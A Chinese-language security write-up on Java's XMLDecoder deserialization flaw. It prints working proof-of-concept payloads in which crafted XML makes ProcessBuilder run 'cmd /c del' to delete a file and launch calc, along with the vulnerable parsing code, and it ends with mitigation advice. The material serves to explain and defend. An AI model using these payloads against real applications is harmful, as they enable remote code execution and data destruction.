Java XMLDecoder 反序列化高危漏洞深度剖析

近期在内部安全审计中,一个潜藏于JDK标准库 XMLDecoder 组件中的反序列化缺陷被揭露,其潜在的破坏力引发了我们的高度警觉。以下将通过两组具体的攻击情景,来全面揭示此漏洞可能带来的严重威胁。
攻击情景一:借XMLDecoder实施文件系统破坏
攻击者可以精心构造一个恶意的XML配置文件,其内容如下所示。该文件利用了Java对象序列化的格式,意图执行系统命令。
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="4">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>del</string>
</void>
<void index="3">
<string>e:\1.txt</string>
</void>
</array>
<void method="start"/>
</object>
</java>
当应用程序使用 XMLDecoder 加载并解析上述文件时,便会触发其中定义的恶意操作。以下为一段存在风险的解析代码示例:
private static void parseXmlFile() {
File xmlFile = new File("E:\\xmldecoder.xml");
XMLDecoder decoder = null;
try {
decoder = new XMLDecoder(new BufferedInputStream(new FileInputStream(xmlFile)));
Object result = decoder.readObject(); // 危险操作在此执行
} catch (Exception e) {
e.printStackTrace();
} finally {
if (decoder != null) {
decoder.close();
}
}
}
代码执行后,其效果等同于在Windows命令提示符中直接运行 cmd /c del e:\1.txt,指定的文件将被静默删除,揭示了该漏洞对本地数据完整性的直接侵害能力。
攻击情景二:通过反序列化非法启动系统进程
此漏洞的危害远不止于文件操作。攻击者同样可以将恶意载荷内嵌于程序代码中,以字符串形式直接传递给 XMLDecoder。
private static void parseXmlFromString() {
String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">" +
" <object class=\"java.lang.ProcessBuilder\">" +
" <array class=\"java.lang.String\" length=\"1\">" +
" <void index=\"0\">" +
" <string>calc</string>" +
" </void>" +
" </array>" +
" <void method=\"start\" />" +
" </object>" +
"</java>";
XMLDecoder decoder = null;
try {
decoder = new XMLDecoder(new ByteArrayInputStream(maliciousXml.getBytes()));
Object result = decoder.readObject(); // 触发进程创建
} catch (Exception e) {
e.printStackTrace();
} finally {
if (decoder != null) {
decoder.close();
}
}
}
运行上述代码,将成功调用系统计算器程序(calc.exe)。

其核心机理在于,XMLDecoder 在反序列化过程中,会忠实重建XML中定义的 ProcessBuilder 对象并调用其 start() 方法。此方法与Runtime.exec() 功能类似,是Java中创建本地系统进程的关键接口。
ProcessBuilder 的构造函数接受一个命令列表作为参数,这为攻击者提供了极大的灵活性:
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
核心结论与应对策略
综合以上分析,JDK内置的 XMLDecoder 在进行XML数据反序列化时,缺乏必要的安全审查机制,导致攻击者可借其构造任意ProcessBuilder 命令,实现远程代码执行(RCE)。这相当于为攻击者打开了一条直达系统底层的通道。
需要特别指出的是,本文仅以 ProcessBuilder 为例进行演示,实际可利用的类和方法可能更多,攻击面更广。经确认,此安全隐患在JDK 8
update 151及之前的多个版本中均长期潜伏。
紧急安全建议:
在生产环境中,应立即停止使用 java.beans.XMLDecoder 类来解析任何来自外部或不可信的XML数据源
。应积极寻求并迁移至更安全、具备严格类型控制与输入验证的XML解析方案,例如使用诸如JAXB(配合安全配置)、DOM/SAX解析器等替代技术。
请广大开发者与安全团队务必重视此风险,立即开展组件排查与升级工作,以防患于未然。
